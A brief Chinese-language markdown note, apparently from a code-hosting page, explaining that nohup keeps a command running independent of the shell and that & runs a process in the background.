## nohup 和 &
|
||||
用 `nohup` 运行命令可以使命令永久的执行下去,和 Shell 没有关系,而 `&` 表示设置此进程为后台进程。默认情况下,进程是前台进程,这时就把 Shell 给占据了,我们无法进行其他操作,如果我们希望其在后台运行,可以使用 `&` 达到这个目的。
|
||||
|
Loading…
Reference in New Issue
Block a user